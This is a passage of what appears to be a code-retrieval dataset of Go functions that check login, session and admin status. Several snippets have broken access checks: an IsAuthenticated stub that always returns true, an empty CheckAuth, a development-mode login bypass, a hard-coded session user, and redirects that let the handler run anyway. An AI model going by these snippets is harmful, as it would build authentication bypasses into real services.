o.UserId != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}","func (task *Task) IsRunAsUserApplied() bool {\n\treturn nil != task.Credentials\n}","func IsAuthenticated(handler httprouter.Handle) httprouter.Handle {\n\treturn func(res http.ResponseWriter, req *http.Request, params httprouter.Params) {\n\t\ttoken := Session.Get(req)\n\t\tif token == \"\" {\n\t\t\thttp.Redirect(res, req, \"/login\", http.StatusSeeOther)\n\t\t} else {\n\t\t\tuser := User{}\n\t\t\tdb.Get().First(&user, \"token = ?\", token)\n\t\t\tif user == (User{}) {\n\t\t\t\thttp.Redirect(res, req, \"/login\", http.StatusSeeOther)\n\t\t\t}\n\t\t\tj := jwt.Jwt{UID: user.ID, Name: user.Name, Username: user.Username}\n\t\t\tisValid := j.ValidateToken(token)\n\t\t\tif !isValid {\n\t\t\t\thttp.Redirect(res, req, \"/login\", http.StatusSeeOther)\n\t\t\t}\n\t\t\thandler(res, req, params)\n\t\t}\n\t}\n}","func (a *ServiceReq) CheckUserAccess(userID string) error {\n\tvar id string\n\terr := a.Get(&id, \"SELECT id FROM csp_user WHERE id = $1 AND active = true\", userID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif id != a.srcReq.UserId {\n\t\treturn errors.New(\"unauthorized\")\n\t}\n\n\treturn nil\n}","func (q *Query) IsAuthenticated() bool {\n\treturn q.WalletID != \"\"\n}","func GetLoggedIn(w http.ResponseWriter, r *http.Request, db *sqlx.DB) {\n\tvar err error\n\n\tsession, err := store.Get(r, \"auth\")\n\tif err != nil {\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusOK)\n\n\t\tif err := json.NewEncoder(w).Encode(\"access denied\"); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t} else {\n\t\t// Convert our session data into an instance of User\n\t\tuser := User{}\n\t\tuser, _ = session.Values[\"user\"].(User)\n\n\t\tif user.Username != \"\" && user.AccessLevel == \"admin\" {\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\tif err := json.NewEncoder(w).Encode(user); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t} else {\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\tif err := json.NewEncoder(w).Encode(\"access denied\"); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\t}\n\n\tlogRequest(r)\n}","func AuthRequired(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tsession.Set(\"user\", \"aoki\")\n\tuser := session.Get(userKey)\n\tif user == nil {\n\t\t// Abort the request with the appropriate error code\n\t\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\"error\": \"unauthorized\"})\n\t\treturn\n\t}\n\t// Continue down the chain to handler etc\n\tc.Next()\n}","func (u *User) IsAnonymous() bool { return u.userData.Anonymous }","func CheckAuth(c *gin.Context) {\n\n}","func HasUserToken(userID uuid.UUID) (bool, string) {\n\tdefer mutex.Unlock()\n\tmutex.Lock()\n\n\tfor k, v := range tokenAvailable {\n\t\tif v.userID == userID {\n\t\t\treturn true, k\n\t\t}\n\t}\n\treturn false, \"\"\n}","func (o RedisToken) GetUser(id, token, clientid string) bool {\n\n\tredisToken, err := o.Conn.Get(id).Result()\n\n\tif err != nil {\n\t\tlog.Debugf(\"Redis get user error: %s\", err)\n\t\treturn false\n\t}\n\n\treturn redisToken == token\n}","func (c *Client) IsAuthed() bool {\n\treturn c.authedUser != nil\n}","func (bp *Breakpoint) IsUser() bool {\n\treturn bp.Kind&UserBreakpoint != 0\n}","func AuthRequired(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tuser := session.Get(userkey)\n\tif user == nil {\n\t\t// Abort the request with the appropriate error code\n\t\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\"error\": \"unauthorized\"})\n\t\treturn\n\t}\n\t// Continue down the chain to handler etc\n\tc.Next()\n}","func (s *Session) IsAdminUser() bool {\n\treturn s.AdminUserID != uuid.Nil\n}","func RequireAuthentication(ctx *web.Context) bool {\n\tsession, _ := CookieStore.Get(ctx.Request, \"monet-session\")\n\n\tif session.Values[\"authenticated\"] != true {\n\t\tctx.Redirect(302, \"/admin/login/\")\n\t\treturn true\n\t}\n\treturn false\n}"],"string":"[\n \"func isLoggedIn(req *http.Request) bool {\\n\\tloginCookie, err := req.Cookie(\\\"loginCookie\\\")\\n\\tif err != nil {\\n\\t\\treturn false\\n\\t}\\n\\tusername := mapSessions[loginCookie.Value]\\n\\t_, ok := mapUsers[username]\\n\\treturn ok\\n}\",\n \"func IsLoggedIn(r *http.Request) bool {\\n\\tsession, err := loggedUserSession.Get(r, \\\"authenticated-user-session\\\")\\n\\tif err != nil || session.Values[\\\"username\\\"] != \\\"admin\\\" {\\n\\t\\treturn false\\n\\t}\\n\\treturn true\\n}\",\n \"func IsLoggedIn(r *http.Request) (bool, error) {\\n\\tsession, err := getSession(r)\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\tt := session.Values[\\\"accessToken\\\"]\\n\\tif t == nil {\\n\\t\\treturn false, nil\\n\\t}\\n\\tstoredToken, ok := t.(string)\\n\\tif !ok {\\n\\t\\treturn false, fmt.Errorf(\\\"bad type of %q value in session: %v\\\", \\\"accessToken\\\", err)\\n\\t}\\n\\tgp := session.Values[\\\"gplusID\\\"]\\n\\tif t == nil {\\n\\t\\treturn false, nil\\n\\t}\\n\\tgplusId, ok := gp.(string)\\n\\tif !ok {\\n\\t\\treturn false, fmt.Errorf(\\\"bad type of %q value in session: %v\\\", \\\"gplusID\\\", err)\\n\\t}\\n\\treturn storedToken != \\\"\\\" && isAllowed(gplusId), nil\\n}\",\n \"func IsAuthenticated(r *http.Request) bool {\\n\\texists := app.Session.Exists(r.Context(), \\\"user_id\\\")\\n\\treturn exists\\n}\",\n \"func isAuthSession(r *http.Request, w http.ResponseWriter) bool {\\n\\tloggedIn, loggedInMat := loggedIn(r)\\n\\tloggedInUser, err := user.FromMatrikel(loggedInMat)\\n\\n\\tif !loggedIn || loggedInUser.Usertype == user.STUDENT || err != nil {\\n\\t\\treturn false\\n\\t}\\n\\treturn true\\n}\",\n \"func AlreadyLoggedIn(w http.ResponseWriter, r *http.Request) bool {\\n\\tcookie, err := r.Cookie(\\\"session\\\")\\n\\tif err != nil {\\n\\t\\treturn false\\n\\t}\\n\\ts := gs.sessions[cookie.Value]\\n\\t_, ok := gs.users[s.userName]\\n\\treturn ok\\n}\",\n \"func (p *hcAutonomywww) isLoggedIn(f http.HandlerFunc) http.HandlerFunc {\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tlog.Debugf(\\\"isLoggedIn: %v %v %v %v\\\", remoteAddr(r), r.Method,\\n\\t\\t\\tr.URL, r.Proto)\\n\\n\\t\\temail, err := p.getSessionEmail(r)\\n\\t\\tif err != nil {\\n\\t\\t\\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\\n\\t\\t\\t\\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\\n\\t\\t\\t})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// Check if user is authenticated\\n\\t\\tif email == \\\"\\\" {\\n\\t\\t\\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\\n\\t\\t\\t\\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\\n\\t\\t\\t})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tf(w, r)\\n\\t}\\n}\",\n \"func IsLoggedIn(w http.ResponseWriter, r *http.Request) {\\n\\tsession, err := Store.Get(r, \\\"session\\\")\\n\\tif err != nil {\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tif session.Values[\\\"loggedin\\\"] == \\\"true\\\" {\\n\\t\\t_, _ = w.Write([]byte(\\\"true\\\"))\\n\\t\\treturn\\n\\t}\\n\\t_, _ = w.Write([]byte(\\\"false\\\"))\\n\\treturn\\n}\",\n \"func (client *Client) IsLoggedIn() bool {\\n\\treturn len(client.currentUser) > 0\\n}\",\n \"func IsUserAuthenticated(r *http.Request) bool {\\n\\tval := r.Context().Value(authUserAuthenticatedKey)\\n\\tswitch val.(type) {\\n\\tcase bool:\\n\\t\\treturn val.(bool)\\n\\tdefault:\\n\\t\\treturn false\\n\\t}\\n}\",\n \"func AlreadyLoggedIn(r *http.Request) bool {\\n\\tc, err := r.Cookie(COOKIE_NAME)\\n\\tif err != nil {\\n\\t\\treturn false\\n\\t}\\n\\tsess, _ := sessionStore.data[c.Value]\\n\\tif sess.Username != \\\"\\\" {\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func isAuthenticated(req *http.Request) bool {\\n\\tif _, err := sessionStore.Get(req, sessionName); err == nil {\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func (netgear *Netgear) IsLoggedIn() bool {\\n return netgear.loggedIn\\n}\",\n \"func IsAuthenticated(r *http.Request) bool {\\n\\tsession, err := app.Store.Get(r, \\\"auth-session\\\")\\n\\tif err != nil {\\n\\t\\toptions := sessions.Options{MaxAge: -1}\\n\\t\\tsessions.NewCookie(\\\"auth-session\\\", \\\"_\\\", &options)\\n\\t\\tlog.Println(err)\\n\\t\\treturn false\\n\\t}\\n\\n\\t_, ok := session.Values[\\\"profile\\\"]\\n\\treturn ok\\n}\",\n \"func (err *UnauthorizedError) isLoggedIn() bool {\\n\\treturn err.SessionId != 0 // SessionId is 0 for non-logged in users\\n}\",\n \"func (c *ProfileController) isProfileLoggedIn() bool {\\n\\treturn c.getCurrentProfileID() != \\\"\\\"\\n}\",\n \"func isAuthorized(w http.ResponseWriter, r *http.Request) bool {\\n\\tusername, err := r.Cookie(\\\"username\\\")\\n\\tif err == nil {\\n\\t\\tsessionID, err := r.Cookie(\\\"sessionID\\\")\\n\\t\\tif err == nil {\\n\\t\\t\\tif sessionID.Value != \\\"\\\" && gostuff.SessionManager[username.Value] == sessionID.Value {\\n\\t\\t\\t\\treturn true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tgostuff.Show404Page(w, r)\\n\\treturn false\\n}\",\n \"func (ig *Instagram) IsLoggedIn() bool {\\n\\treturn ig.LoggedIn\\n}\",\n \"func userHasAccess(authCtx *authz.Context, req interface{ GetUsername() string }) bool {\\n\\treturn !authz.IsCurrentUser(*authCtx, req.GetUsername()) && !authz.HasBuiltinRole(*authCtx, string(types.RoleAdmin))\\n}\",\n \"func IsAuthenticated(r *http.Request) *Session {\\n\\tkey := getSession(r)\\n\\n\\tif strings.HasPrefix(key, \\\"nouser:\\\") {\\n\\t\\treturn nil\\n\\t}\\n\\n\\ts := getSessionByKey(key)\\n\\tif isValidSession(r, s) {\\n\\t\\treturn s\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *UCSClient) IsLoggedIn() bool {\\n\\treturn len(c.cookie) > 0\\n}\",\n \"func RequestIsAuth(r * http.Request) bool {\\n\\tif r.FormValue(\\\"username\\\") != \\\"\\\" && r.FormValue(\\\"key\\\") != \\\"\\\" {\\n\\t\\tuser := UserForName(r.FormValue(\\\"username\\\"))\\n\\t\\tif IsUser(user) {\\n\\t\\t\\tfor i := 0 ; i < len(Keys); i++ {\\n\\t\\t\\t\\tif Keys[i].User == user.ID && Keys[i].Key == r.FormValue(\\\"key\\\") {\\n\\t\\t\\t\\t\\ttimeNow := time.Now()\\n\\t\\t\\t\\t\\tif timeNow.After(Keys[i].StartTime) && timeNow.Before(Keys[i].EndTime) {\\n\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn false\\n}\",\n \"func checkLoggedIn(w http.ResponseWriter, r *http.Request) (*ReqBody, error) {\\n\\t// get token from request header\\n\\tReqBody, err := getTknFromReq(r)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// check if the token is valid or not\\n\\t// if valid return the user currently logged in\\n\\tuser := verifyToken(ReqBody.Token)\\n\\tReqBody.UserDB = user\\n\\tlog.Println(\\\"checklogged in\\\", ReqBody)\\n\\treturn ReqBody, nil\\n}\",\n \"func isAuthenticated(r *http.Request) bool {\\n\\ts, _ := Store.Get(r, \\\"sessid\\\")\\n\\tval, ok := s.Values[\\\"authenticated\\\"].(bool)\\n\\treturn ok && val\\n}\",\n \"func (o *Content) HasRunAsCurrentUser() bool {\\n\\tif o != nil && o.RunAsCurrentUser != nil {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func CheckIfAuthenticated(uuid string) bool {\\n\\t// Make sure a session exists for the extracted UUID\\n\\t_, sessionFound := sessions[uuid]\\n\\treturn sessionFound\\n}\",\n \"func hasUserSession(userID uuid.UUID) bool {\\n\\t_, ok := userCache[userID]\\n\\treturn ok\\n}\",\n \"func IsUserPresent(ctx context.Context) bool {\\n\\tuserIdentity := ctx.Value(UserIdentityKey)\\n\\treturn userIdentity != nil && userIdentity != \\\"\\\"\\n\\n}\",\n \"func (u *AuthUser) IsAuthenticated() bool {\\n\\treturn u.id != 0\\n}\",\n \"func (app *application) isAuthenticated(r *http.Request) bool {\\n\\tisAuthenticated, ok := r.Context().Value(contextKeyIsAuthenticated).(bool)\\n\\tif !ok {\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn isAuthenticated\\n}\",\n \"func (b *OGame) IsLoggedIn() bool {\\n\\treturn atomic.LoadInt32(&b.isLoggedInAtom) == 1\\n}\",\n \"func (u User) IsAuthenticated() bool {\\n\\treturn u.Email != \\\"\\\"\\n}\",\n \"func CurrentUser(c *gin.Context) {\\n\\tsession := sessions.Default(c)\\n\\tuserID := session.Get(\\\"userID\\\")\\n\\tif userID == nil {\\n\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"msg\\\": \\\"User not logged in.\\\",\\n\\t\\t\\t\\\"err\\\": \\\"User ID not in session.\\\",\\n\\t\\t})\\n\\t} else {\\n\\t\\tc.JSON(http.StatusOK, gin.H{\\n\\t\\t\\t\\\"msg\\\": session.Get(\\\"Username\\\"),\\n\\t\\t\\t\\\"err\\\": \\\"\\\",\\n\\t\\t})\\n\\t}\\n}\",\n \"func (i *IssuesService) IsAuthUserWatching(owner, repoSlug string, id int64) (bool, *simpleresty.Response, error) {\\n\\turlStr := i.client.http.RequestURL(\\\"/repositories/%s/%s/issues/%v/watch\\\", owner, repoSlug, id)\\n\\tresponse, err := i.client.http.Get(urlStr, nil, nil)\\n\\n\\thasVoted := false\\n\\tif response.StatusCode == 204 {\\n\\t\\thasVoted = true\\n\\t}\\n\\n\\treturn hasVoted, response, err\\n}\",\n \"func (i *IssuesService) IsAuthUserWatching(owner, repoSlug string, id int64) (bool, *Response, error) {\\n\\turlStr := i.client.requestURL(\\\"/repositories/%s/%s/issues/%v/watch\\\", owner, repoSlug, id)\\n\\tresponse, err := i.client.execute(\\\"GET\\\", urlStr, nil, nil)\\n\\n\\thasVoted := false\\n\\tif response.StatusCode == 204 {\\n\\t\\thasVoted = true\\n\\t}\\n\\n\\treturn hasVoted, response, err\\n}\",\n \"func verifyLoggedIn(resp *http.Response) bool {\\n\\tif resp.Request != nil && resp.Request.URL != nil {\\n\\t\\treturn strings.HasPrefix(resp.Request.URL.String(), loggedinURLPrefix)\\n\\t}\\n\\treturn false\\n}\",\n \"func GetUserFromSession(user *models.User, sess session.SessionStore) bool {\\n\\tid := GetUserIdFromSession(sess)\\n\\tif id > 0 {\\n\\t\\tu := models.User{Id: id}\\n\\t\\tif u.Read() == nil {\\n\\t\\t\\t*user = u\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func IsAuthed(user *db.User) bool {\\n\\treturn user != nil && !user.Empty && user.ID != 0\\n}\",\n \"func reqIsAdmin(r *http.Request) bool {\\n\\tu, err := GetCurrent(r)\\n\\tif err != nil {\\n\\t\\treturn false\\n\\t}\\n\\treturn u.Admin\\n}\",\n \"func (i *interactor) CurrentUserIsAdmin(ctx context.Context) bool {\\n\\tuserID, err := i.CurrentUserID(ctx)\\n\\tif err != nil {\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn userID == \\\"admin\\\"\\n}\",\n \"func IsLogIn(h httprouter.Handle) httprouter.Handle {\\n\\treturn func(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\\n\\n\\t\\tcookie, err := r.Cookie(\\\"kRtrima\\\") //Grab the cookie from the header\\n\\t\\tif err != nil {\\n\\t\\t\\tswitch err {\\n\\t\\t\\tcase http.ErrNoCookie:\\n\\t\\t\\t\\tLogger.Println(\\\"No Cookie was Found with Name kRtrima\\\")\\n\\t\\t\\t\\th(w, r, ps)\\n\\t\\t\\t\\treturn\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tLogger.Println(\\\"No Cookie was Found with Name kRtrima\\\")\\n\\t\\t\\t\\th(w, r, ps)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tLogger.Println(\\\"Cookie was Found with Name kRtrima\\\")\\n\\n\\t\\t// Create a BSON ObjectID by passing string to ObjectIDFromHex() method\\n\\t\\tdocID, err := primitive.ObjectIDFromHex(cookie.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\tLogger.Printf(\\\"Cannot Convert %T type to object id\\\", cookie.Value)\\n\\t\\t\\tLogger.Println(err)\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tvar SP m.Session\\n\\t\\tif err = m.Sessions.Find(\\\"_id\\\", docID, &SP); err != nil {\\n\\t\\t\\tLogger.Println(\\\"Cannot found a valid User Session!!\\\")\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t\\t//session is missing, returns with error code 403 Unauthorized\\n\\t\\t}\\n\\n\\t\\tLogger.Println(\\\"Valid User Session was Found!!\\\")\\n\\n\\t\\tvar UP m.LogInUser\\n\\n\\t\\terr = m.Users.Find(\\\"salt\\\", SP.Salt, &UP)\\n\\t\\tif err != nil {\\n\\t\\t\\tLogger.Println(\\\"Cannot Find user with salt\\\")\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tvar LIP m.LogInUser\\n\\n\\t\\terr = m.GetLogInUser(\\\"User\\\", &LIP, r)\\n\\t\\tif err != nil {\\n\\t\\t\\tm.AddToHeader(\\\"User\\\", UP, r)\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t} else if UP.Email != LIP.Email {\\n\\t\\t\\t//remove the user ID from the session\\n\\t\\t\\tr.Header.Del(\\\"User\\\")\\n\\t\\t\\tm.AddToHeader(\\\"User\\\", UP, r)\\n\\t\\t\\th(w, r, ps)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\th(w, r, ps)\\n\\t}\\n}\",\n \"func (u *AnonUser) IsAuthenticated() bool {\\n\\treturn false\\n}\",\n \"func (ctx *TestContext) ThereIsAUser(name string) error {\\n\\treturn ctx.ThereIsAUserWith(getParameterString(map[string]string{\\n\\t\\t\\\"group_id\\\": name,\\n\\t\\t\\\"user\\\": name,\\n\\t}))\\n}\",\n \"func getLoggedIn(r *http.Request) users.User {\\n\\tc, err := r.Cookie(userCookieName)\\n\\tif err != nil {\\n\\t\\treturn users.User{}\\n\\t}\\n\\treturn users.GetUser(c.Value)\\n}\",\n \"func authorizator(data interface{}, c *gin.Context) bool {\\n\\tif _, ok := data.(*models.User); ok {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func IsUserRequestCtx(ctx context.Context) bool {\\n\\treturn ctxutils.IsAPIGwCtx(ctx)\\n}\",\n \"func (ctx *RequestContext) IsAuthenticated() bool {\\n\\treturn ctx.principal != nil\\n}\",\n \"func requireLogin(rw http.ResponseWriter, req *http.Request, app *App) bool {\\n\\tses, _ := app.SessionStore.Get(req, SessionName)\\n\\tvar err error\\n\\tvar id int64\\n\\tif val := ses.Values[\\\"userId\\\"]; val != nil {\\n\\t\\tid = val.(int64)\\n\\t}\\n\\n\\tif err == nil {\\n\\t\\t_, err = models.UserById(app.Db, id)\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\thttp.Redirect(rw, req, app.Config.General.Prefix+\\\"/login\\\", http.StatusSeeOther)\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func CurrentUserAsRequested(repo *repositories.UsersRepository, responseService responses.ResponseHandler) gin.HandlerFunc {\\n\\treturn func(ctx *gin.Context) {\\n\\t\\tuser, ok := ctx.Get(\\\"_user\\\")\\n\\t\\tif !ok {\\n\\t\\t\\t// Returns a \\\"400 StatusBadRequest\\\" response\\n\\t\\t\\tresponseService.Error(ctx, responses.CannotFindUserByAccessToken, \\\"Can't find user.\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tfoundUser, err := repo.FindByUID(user.(*userpb.User).UID)\\n\\t\\tif err != nil {\\n\\t\\t\\tresponseService.NotFound(ctx)\\n\\t\\t\\tctx.Abort()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tctx.Set(\\\"_requested_user\\\", foundUser)\\n\\t}\\n}\",\n \"func isAuthenticated(w http.ResponseWriter, r *http.Request) {\\n\\tisLoggedIn := isLoggedIn(r)\\n\\n\\tresp := map[string]interface{}{\\n\\t\\t\\\"success\\\": isLoggedIn,\\n\\t}\\n\\tapiResponse(resp, w)\\n}\",\n \"func EnsureLoggedIn(c *gin.Context) bool {\\n\\tgeneral := c.GetStringMapString(\\\"general\\\")\\n\\n\\tif general[\\\"isloggedin\\\"] != \\\"true\\\" {\\n\\t\\tSendHTML(http.StatusForbidden, c, \\\"blocked\\\", nil)\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn true\\n}\",\n \"func UserIsAdmin(r *http.Request) bool {\\n\\tval := r.Context().Value(request.CtxAccess)\\n\\tif val == nil {\\n\\t\\treturn false\\n\\t}\\n\\n\\tua := val.(*UserAccess)\\n\\treturn ua.Admin\\n}\",\n \"func (u User) IsAnonymous() bool { return u == \\\"\\\" }\",\n \"func AuthorizedUser(c *gin.Context) {\\n\\tvar u *models.User\\n\\tuser := CurrentUser(c)\\n\\n\\tif (user == u) || (user == nil) {\\n\\t\\tc.Redirect(http.StatusMovedPermanently, helpers.LoginPath())\\n\\t}\\n}\",\n \"func (u *User) IsUser() bool {\\n\\treturn u.UserGroupID == USER\\n}\",\n \"func isAuthorizedNo404(w http.ResponseWriter, r *http.Request) bool {\\n\\tusername, err := r.Cookie(\\\"username\\\")\\n\\tif err == nil {\\n\\t\\tsessionID, err := r.Cookie(\\\"sessionID\\\")\\n\\t\\tif err == nil {\\n\\t\\t\\tif sessionID.Value != \\\"\\\" && gostuff.SessionManager[username.Value] == sessionID.Value {\\n\\t\\t\\t\\treturn true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn false\\n}\",\n \"func (env *Env) currentUser(r *http.Request) (*models.User, error) {\\n\\ts, err := env.session(r)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif s.UserID == 0 {\\n\\t\\treturn nil, errors.New(\\\"user not logged in\\\")\\n\\t}\\n\\n\\treturn env.db.GetUser(s.UserID)\\n}\",\n \"func checkMe(r *http.Request) (*User, error) {\\n\\treturn getUserFromCookie(r)\\n}\",\n \"func IsAuthorised(ctx context.Context, r *http.Request) bool {\\n\\trequestAuthorised := r.Header.Get(constant.HeaderAuthorised)\\n\\tlogger.Debugf(ctx, \\\"security util\\\", \\\"checking if request has been authorised, authorised %s\\\", requestAuthorised)\\n\\n\\tif requestAuthorised != \\\"\\\" && requestAuthorised == \\\"true\\\" {\\n\\t\\tlogger.Debugf(ctx, \\\"security util\\\", \\\"request contains authorization information, authorised %s\\\", requestAuthorised)\\n\\t\\treturn true\\n\\t}\\n\\n\\tlogger.Debugf(ctx, \\\"security util\\\", \\\"request not authorised\\\")\\n\\treturn false\\n}\",\n \"func UserHasPermission(r *http.Request, project string) bool {\\n\\tval := r.Context().Value(request.CtxAccess)\\n\\tif val == nil {\\n\\t\\treturn false\\n\\t}\\n\\n\\tua := val.(*UserAccess)\\n\\tif ua.Admin {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn shared.StringInSlice(project, ua.Projects)\\n}\",\n \"func (p *hcAutonomywww) isLoggedInAsAdmin(f http.HandlerFunc) http.HandlerFunc {\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tlog.Debugf(\\\"isLoggedInAsAdmin: %v %v %v %v\\\", remoteAddr(r),\\n\\t\\t\\tr.Method, r.URL, r.Proto)\\n\\n\\t\\t// Check if user is admin\\n\\t\\tisAdmin, err := p.isAdmin(w, r)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Errorf(\\\"isLoggedInAsAdmin: isAdmin %v\\\", err)\\n\\t\\t\\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\\n\\t\\t\\t\\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\\n\\t\\t\\t})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif !isAdmin {\\n\\t\\t\\tutil.RespondWithJSON(w, http.StatusForbidden, v1.ErrorReply{})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tf(w, r)\\n\\t}\\n}\",\n \"func isAdmin(res http.ResponseWriter, req *http.Request) bool {\\n\\tmyUser := getUser(res, req)\\n\\treturn myUser.Username == \\\"admin\\\"\\n}\",\n \"func NotLoggedIn(cmd *cli.Cmd) bool {\\n\\tenv := cmd.Env.(config.TravisCommandConfig)\\n\\n\\tsuccess := len(env.Token) != 0\\n\\tif success {\\n\\t\\tuser, err := CurrentUser(cmd.Env.(config.TravisCommandConfig).Client)\\n\\t\\tsuccess = err == nil && user.Name != \\\"\\\"\\n\\t}\\n\\tif !success {\\n\\t\\tcmd.Stderr.Printf(\\\"You need to be logged in to do this. For this please run %s login.\\\\n\\\", cmd.Args.ProgramName())\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func IsAuthenticated(r *http.Request) bool {\\n\\t//todo write logic here\\n\\treturn true\\n}\",\n \"func IsSession(r *http.Request) bool {\\n\\tval := r.Context().Value(authSessionActiveKey)\\n\\tswitch val.(type) {\\n\\tcase bool:\\n\\t\\treturn val.(bool)\\n\\tdefault:\\n\\t\\treturn false\\n\\t}\\n}\",\n \"func (user User) IsAnon() bool {\\n\\treturn user.ID == UserAnon\\n}\",\n \"func IsLegalUser(Auth string) (bool, User) {\\n\\n\\tvar Answer bool\\n\\tvar currentToken Token\\n\\tvar currentUser User\\n\\n\\ttoken := strings.Replace(Auth, \\\"Bearer \\\", \\\"\\\", -1)\\n\\t// var blankid uuid.UUID\\n\\tDb.Where(\\\"token = ?\\\", token).Last(&currentToken)\\n\\tif currentToken.Token != \\\"\\\" {\\n\\n\\t\\tif currentToken.Expired.After(time.Now()) {\\n\\n\\t\\t\\tDb.Where(\\\"id = ?\\\", currentToken.UserID).Last(&currentUser)\\n\\n\\t\\t\\tif currentUser.Name != \\\"\\\" {\\n\\t\\t\\t\\tAnswer = true\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tAnswer = false\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t}\\n\\n\\treturn Answer, currentUser\\n\\n}\",\n \"func (authentication *Authentication) IsLogin(res http.ResponseWriter, req *http.Request) bool {\\n\\tsessionID, sessionIDState := cookies.GetCookie(req, \\\"session\\\")\\n\\tif !sessionIDState {\\n\\t\\treturn false\\n\\t}\\n\\tsession, sessionState := authentication.userSession[sessionID.Value]\\n\\tif sessionState {\\n\\t\\tsession.lastActivity = time.Now()\\n\\t\\tauthentication.userSession[sessionID.Value] = session\\n\\t}\\n\\t_, userState := authentication.loginUser[session.email]\\n\\tsessionID.Path = \\\"/\\\"\\n\\tsessionID.MaxAge = sessionExistTime\\n\\thttp.SetCookie(res, sessionID)\\n\\treturn userState\\n}\",\n \"func (o *ActionDTO) HasUserIdentity() bool {\\n\\tif o != nil && o.UserIdentity != nil {\\n\\t\\treturn true\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func CurrentUser(c *gin.Context) *models.User {\\n\\tvar user models.User\\n\\tsession := sessions.Default(c)\\n\\tcurrentUserID := session.Get(\\\"user_id\\\")\\n\\n\\tif currentUserID == nil {\\n\\t\\treturn nil\\n\\t} else if err := config.DB.First(&user, currentUserID).Error; err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn &user\\n}\",\n \"func (srv *userService) CheckLogin(session string) bool {\\n\\tvar User model.User\\n\\n\\tif conf.Development() {\\n\\t\\tCurrentUser = User.GetFirst()\\t\\n\\t\\treturn true\\n\\t}\\n\\t\\n\\tCurrentUser = User.GetUserByThirdSession(session)\\n\\tif CurrentUser == nil {\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn CurrentUser.CacheSessionVal() != \\\"\\\"\\n}\",\n \"func hasAccess(rc *router.Context, next router.Handler) {\\n\\tc := rc.Context\\n\\tisMember, err := auth.IsMember(c, config.Get(c).AccessGroup)\\n\\tif err != nil {\\n\\t\\tutil.ErrStatus(rc, http.StatusInternalServerError, err.Error())\\n\\t\\treturn\\n\\t} else if !isMember {\\n\\t\\turl, err := auth.LoginURL(c, rc.Request.URL.RequestURI())\\n\\t\\tif err != nil 